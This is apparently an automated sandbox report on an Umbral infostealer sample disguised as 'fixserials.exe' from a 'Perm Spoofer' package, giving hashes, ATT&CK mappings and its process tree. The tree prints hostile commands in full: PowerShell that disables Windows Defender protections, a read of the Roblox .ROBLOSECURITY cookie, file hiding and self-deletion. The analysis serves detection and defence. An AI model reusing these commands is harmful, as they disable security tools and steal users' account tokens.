umbral | b4b6f0ce548f5ec6207bf0f8350011f953ef5d4011ff288ef5e2e0376cc18ded

Analysis

max time kernel
93s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-11-2024 20:45

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General

Target

Perm Spoofer/dumped files/fixserials.exe
Size

229KB
MD5

9252505656ab18c34d4ecff6a7f86263
SHA1

dfa01cbe5c99fbf67a5063f99c67669382e43356
SHA256

78da8433390c0aaf2e5f748ff266bacad23fe9d05b1834eabceeb6ad69859589
SHA512

5e270de9982c3137c16e32fa4c88f9a414893c623fbcdd5cb2f3ff9bbf82eac82bb8d01100d60ea8633da875b36df39d657a9090e393d4fdf717575821bce8a5
SSDEEP

6144:lloZMcrIkd8g+EtXHkv/iD4l6qZEKtFu9r20VJgU8b8e1mbDi:noZrL+EP8l6qZEKtFu9r20VJgZd

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral27/memory/4064-1-0x000002175F960000-0x000002175F9A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe
1680	powershell.exe
2236	powershell.exe
5048	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1832	cmd.exe
2596	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4244	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2596	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4064	fixserials.exe
4884	powershell.exe
4884	powershell.exe
5048	powershell.exe
5048	powershell.exe
1680	powershell.exe
1680	powershell.exe
3240	powershell.exe
3240	powershell.exe
2236	powershell.exe
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	fixserials.exe
Token: SeIncreaseQuotaPrivilege	2820	wmic.exe
Token: SeSecurityPrivilege	2820	wmic.exe
Token: SeTakeOwnershipPrivilege	2820	wmic.exe
Token: SeLoadDriverPrivilege	2820	wmic.exe
Token: SeSystemProfilePrivilege	2820	wmic.exe
Token: SeSystemtimePrivilege	2820	wmic.exe
Token: SeProfSingleProcessPrivilege	2820	wmic.exe
Token: SeIncBasePriorityPrivilege	2820	wmic.exe
Token: SeCreatePagefilePrivilege	2820	wmic.exe
Token: SeBackupPrivilege	2820	wmic.exe
Token: SeRestorePrivilege	2820	wmic.exe
Token: SeShutdownPrivilege	2820	wmic.exe
Token: SeDebugPrivilege	2820	wmic.exe
Token: SeSystemEnvironmentPrivilege	2820	wmic.exe
Token: SeRemoteShutdownPrivilege	2820	wmic.exe
Token: SeUndockPrivilege	2820	wmic.exe
Token: SeManageVolumePrivilege	2820	wmic.exe
Token: 33	2820	wmic.exe
Token: 34	2820	wmic.exe
Token: 35	2820	wmic.exe
Token: 36	2820	wmic.exe
Token: SeIncreaseQuotaPrivilege	2820	wmic.exe
Token: SeSecurityPrivilege	2820	wmic.exe
Token: SeTakeOwnershipPrivilege	2820	wmic.exe
Token: SeLoadDriverPrivilege	2820	wmic.exe
Token: SeSystemProfilePrivilege	2820	wmic.exe
Token: SeSystemtimePrivilege	2820	wmic.exe
Token: SeProfSingleProcessPrivilege	2820	wmic.exe
Token: SeIncBasePriorityPrivilege	2820	wmic.exe
Token: SeCreatePagefilePrivilege	2820	wmic.exe
Token: SeBackupPrivilege	2820	wmic.exe
Token: SeRestorePrivilege	2820	wmic.exe
Token: SeShutdownPrivilege	2820	wmic.exe
Token: SeDebugPrivilege	2820	wmic.exe
Token: SeSystemEnvironmentPrivilege	2820	wmic.exe
Token: SeRemoteShutdownPrivilege	2820	wmic.exe
Token: SeUndockPrivilege	2820	wmic.exe
Token: SeManageVolumePrivilege	2820	wmic.exe
Token: 33	2820	wmic.exe
Token: 34	2820	wmic.exe
Token: 35	2820	wmic.exe
Token: 36	2820	wmic.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeIncreaseQuotaPrivilege	452	wmic.exe
Token: SeSecurityPrivilege	452	wmic.exe
Token: SeTakeOwnershipPrivilege	452	wmic.exe
Token: SeLoadDriverPrivilege	452	wmic.exe
Token: SeSystemProfilePrivilege	452	wmic.exe
Token: SeSystemtimePrivilege	452	wmic.exe
Token: SeProfSingleProcessPrivilege	452	wmic.exe
Token: SeIncBasePriorityPrivilege	452	wmic.exe
Token: SeCreatePagefilePrivilege	452	wmic.exe
Token: SeBackupPrivilege	452	wmic.exe
Token: SeRestorePrivilege	452	wmic.exe
Token: SeShutdownPrivilege	452	wmic.exe
Token: SeDebugPrivilege	452	wmic.exe
Token: SeSystemEnvironmentPrivilege	452	wmic.exe
Token: SeRemoteShutdownPrivilege	452	wmic.exe
Token: SeUndockPrivilege	452	wmic.exe
Token: SeManageVolumePrivilege	452	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 2820	4064	fixserials.exe	86
PID 4064 wrote to memory of 2820	4064	fixserials.exe	86
PID 4064 wrote to memory of 2056	4064	fixserials.exe	89
PID 4064 wrote to memory of 2056	4064	fixserials.exe	89
PID 4064 wrote to memory of 4884	4064	fixserials.exe	91
PID 4064 wrote to memory of 4884	4064	fixserials.exe	91
PID 4064 wrote to memory of 5048	4064	fixserials.exe	94
PID 4064 wrote to memory of 5048	4064	fixserials.exe	94
PID 4064 wrote to memory of 1680	4064	fixserials.exe	96
PID 4064 wrote to memory of 1680	4064	fixserials.exe	96
PID 4064 wrote to memory of 3240	4064	fixserials.exe	98
PID 4064 wrote to memory of 3240	4064	fixserials.exe	98
PID 4064 wrote to memory of 452	4064	fixserials.exe	102
PID 4064 wrote to memory of 452	4064	fixserials.exe	102
PID 4064 wrote to memory of 1736	4064	fixserials.exe	104
PID 4064 wrote to memory of 1736	4064	fixserials.exe	104
PID 4064 wrote to memory of 4828	4064	fixserials.exe	106
PID 4064 wrote to memory of 4828	4064	fixserials.exe	106
PID 4064 wrote to memory of 2236	4064	fixserials.exe	108
PID 4064 wrote to memory of 2236	4064	fixserials.exe	108
PID 4064 wrote to memory of 4244	4064	fixserials.exe	110
PID 4064 wrote to memory of 4244	4064	fixserials.exe	110
PID 4064 wrote to memory of 1832	4064	fixserials.exe	113
PID 4064 wrote to memory of 1832	4064	fixserials.exe	113
PID 1832 wrote to memory of 2596	1832	cmd.exe	115
PID 1832 wrote to memory of 2596	1832	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Perm Spoofer\dumped files\fixserials.exe
"C:\Users\Admin\AppData\Local\Temp\Perm Spoofer\dumped files\fixserials.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Perm Spoofer\dumped files\fixserials.exe"
  2⤵
  - Views/modifies file attributes
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Perm Spoofer\dumped files\fixserials.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2236
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Perm Spoofer\dumped files\fixserials.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7511c81925750deb7ad1b9b80eea8a8d

SHA1
6ea759b3cbd243ae11435c6d6c5ced185eb01f49

SHA256
5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

SHA512
5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adaogef3.lpb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4064-70-0x000002177A050000-0x000002177A05A000-memory.dmp

Filesize
40KB

Download
memory/4064-33-0x000002177A020000-0x000002177A03E000-memory.dmp

Filesize
120KB

Download
memory/4064-91-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download
memory/4064-71-0x000002177A080000-0x000002177A092000-memory.dmp

Filesize
72KB

Download
memory/4064-2-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download
memory/4064-31-0x000002177A0A0000-0x000002177A116000-memory.dmp

Filesize
472KB

Download
memory/4064-32-0x000002177A120000-0x000002177A170000-memory.dmp

Filesize
320KB

Download
memory/4064-0-0x00007FFD47663000-0x00007FFD47665000-memory.dmp

Filesize
8KB

Download
memory/4064-1-0x000002175F960000-0x000002175F9A0000-memory.dmp

Filesize
256KB

Download
memory/4884-15-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download
memory/4884-4-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download
memory/4884-3-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download
memory/4884-14-0x0000025D2EFE0000-0x0000025D2F002000-memory.dmp

Filesize
136KB

Download
memory/4884-18-0x00007FFD47660000-0x00007FFD48121000-memory.dmp

Filesize
10.8MB

Download